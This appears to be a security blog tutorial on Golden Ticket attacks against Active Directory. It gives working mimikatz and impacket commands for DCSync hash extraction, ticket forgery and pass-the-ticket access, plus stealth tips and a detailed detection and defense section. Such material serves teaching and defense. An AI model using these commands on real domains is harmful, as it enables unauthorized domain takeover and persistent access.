Golden Ticket Attacks: Abusing krbtgt for Domain Persistence

Active Directory
2026.06.01
Time it takes to read this article 5 minutes.

Disclaimer: This article is for education and authorized security testing only. Forging Kerberos tickets against Active Directory you do not own, or without explicit written permission, is illegal in most jurisdictions. Only run these techniques in your own lab or within the documented scope of an engagement.

Introduction

A Golden Ticket is one of the most powerful persistence techniques in Active Directory. Once an attacker recovers the password hash of the krbtgt account, they can forge arbitrary Kerberos Ticket Granting Tickets (TGTs) offline — impersonating any user, including Domain Admins, with arbitrary group membership and a configurable lifetime. Because the forged ticket is signed with the domain's own key material, the Key Distribution Center (KDC) accepts it without contacting the domain controller for authentication.

In this article you will learn how the Kerberos TGT lifecycle makes this possible, how to forge a Golden Ticket in a lab with mimikatz and impacket, and — given equal weight — how defenders detect and contain the technique. This maps to MITRE ATT&CK T1558.001 (Golden Ticket).

How It Works

In Kerberos, when a user authenticates, the KDC issues a TGT encrypted and signed with the krbtgt account's key. The user later presents this TGT to the KDC to request service tickets (TGS). The critical design fact: the TGT contains a Privilege Attribute Certificate (PAC) describing the user's SID and group memberships, and that PAC is signed with the krbtgt hash.

The KDC trusts any TGT it can decrypt with the krbtgt key. It does not re-verify whether the user still exists or whether the group memberships are accurate at TGS time (historically). So whoever holds the krbtgt hash can mint a TGT for a non-existent user claiming membership in Domain Admins (RID 512), Enterprise Admins (519), and Schema Admins (518).

The krbtgt password is rarely changed. Even after the rest of the domain is reset, a single un-rotated krbtgt hash gives an attacker a re-entry key. This is why it is a persistence primitive, not just a privilege-escalation one. Compare this with on-the-fly forgery of service tickets in Silver Ticket attacks, which only target a single service.

Prerequisites / Lab Setup

To forge a Golden Ticket you need three pieces of information:

  1. The domain FQDN (e.g., corp.local).
  2. The domain SID (e.g., S-1-5-21-1234567890-1234567890-1234567890).
  3. The krbtgt hash — NTLM (RC4) at minimum, or the AES256 key for a stealthier ticket.

A typical lab is a Windows Server 2019/2022 domain controller plus one domain-joined workstation, with you holding Domain Admin (or DCSync rights) to extract the hash. Recovering the hash usually follows initial compromise via techniques like Kerberoasting followed by privilege escalation.

Extract the krbtgt hash with a DCSync replication, which does not require code execution on the DC:

# impacket's secretsdump via DCSync (needs DS-Replication rights)
impacket-secretsdump -just-dc-user 'corp.local/krbtgt' corp.local/admin@dc01.corp.local

Or with mimikatz on the DC:

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

Grab the domain SID at the same time, or with PowerShell:

Get-ADDomain corp.local | Select-Object -ExpandProperty DomainSID

Attack Walkthrough

Forging with mimikatz

The canonical command is kerberos::golden. Provide the username to impersonate, the domain, the SID, and the krbtgt key:

mimikatz # kerberos::golden /user:Administrator /domain:corp.local ^
    /sid:S-1-5-21-1234567890-1234567890-1234567890 ^
    /krbtgt:9b2e... ^
    /id:500 /groups:512,513,518,519,520 ^
    /ptt

Key parameters:

  • /krbtgt: — the RC4/NTLM hash. Use /aes256: instead for an AES-signed ticket (blends with modern environments).
  • /id:500 — the RID of the impersonated account (500 = built-in Administrator).
  • /groups:512,... — RIDs to embed in the PAC (512 Domain Admins, 519 Enterprise Admins).
  • /ptt — "pass the ticket," injecting it directly into the current session. Omit /ptt and add /ticket:golden.kirbi to save it to disk instead.

After injection, confirm and use it:

mimikatz # misc::cmd
C:\> klist
C:\> dir \\dc01.corp.local\C$

Forging with impacket (Linux)

From an attacker's Linux box, ticketer.py produces a .ccache:

impacket-ticketer -nthash 9b2e... \
    -domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
    -domain corp.local Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@dc01.corp.local

Use -aesKey instead of -nthash for an AES-based ticket. By default ticketer.py sets an extremely long lifetime (10 years), which is itself a strong detection signal — pass realistic -duration values to stay stealthy.

Attack Flow Diagram

Golden Ticket Attacks: Abusing krbtgt for Domain Persistence diagram 1

One-line explanation: the attacker steals the krbtgt key, forges a self-signed TGT offline, then exchanges it for legitimate service tickets that grant Domain Admin access.

Detection & Defense (Blue Team)

Golden Tickets bypass authentication, so prevention focuses on protecting the krbtgt key, and detection focuses on the artifacts forged tickets leave behind.

1. Rotate krbtgt twice. Because a TGT is valid for its full lifetime (default 10 hours) and the previous password is retained for backward compatibility, you must reset krbtgt twice, with a gap longer than the maximum ticket lifetime between resets, to fully invalidate stolen keys. Microsoft publishes a reset script (New-KrbtgtKeys.ps1). Rotate immediately after any suspected DC compromise.

2. Hunt anomalous TGS requests. A forged TGT skips the AS-REQ/AS-REP (event 4768) but still triggers TGS requests (4769). A TGS-REQ (4769) with no preceding 4768 from the same account/host is a classic Golden Ticket indicator. Correlate these in your SIEM:

EventCode=4769 with no matching EventCode=4768 (TGT issuance) for the same account/source

3. Watch for forgery tells. Tickets minted by older mimikatz defaults use RC4 (0x17) encryption even in AES-capable domains, set 10-year lifetimes, or carry mismatched/empty domain fields and account names that do not exist in AD. Alert on logons for accounts that no longer (or never) existed.

4. Detect the prerequisite. The hash theft is detectable even when the ticket isn't. Monitor for DCSync from non-DC hosts: event 4662 with the replication GUIDs (DS-Replication-Get-Changes 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2). Tools like Microsoft Defender for Identity and the open-source BloodHound help map who can perform DCSync in the first place.

5. Reduce blast radius. Enforce tiered administration so Domain Admin credentials never touch tier-2 workstations, enable Credential Guard to protect LSASS, and minimize accounts with replication rights. Once an attacker reaches the DC, Golden Tickets are nearly inevitable — keep them out of the DC.

6. Modern mitigations. PAC validation improvements from the CVE-2021-42287 / CVE-2021-42278 ("sAMAccountName spoofing"/Bronze Bit-adjacent) patches and the November 2021 KDC hardening (KB5008380, PAC signature enforcement) reduced some forgery primitives, but a valid krbtgt key still produces a valid PAC signature — so key protection remains paramount.

Conclusion

A Golden Ticket converts a one-time krbtgt theft into long-term, stealthy domain dominance. The forged TGT is cryptographically valid by design, which is exactly why detection shifts from "was this ticket signed correctly?" to "does this authentication make sense?" For defenders, the playbook is concrete: protect and rotate krbtgt (twice), hunt for TGS-without-AS anomalies and DCSync from unusual hosts, and enforce tiered administration so attackers never reach the key. For red teamers, it is a reminder that persistence often lives in the keys you forget to rotate.

References

Comments

Copied title and URL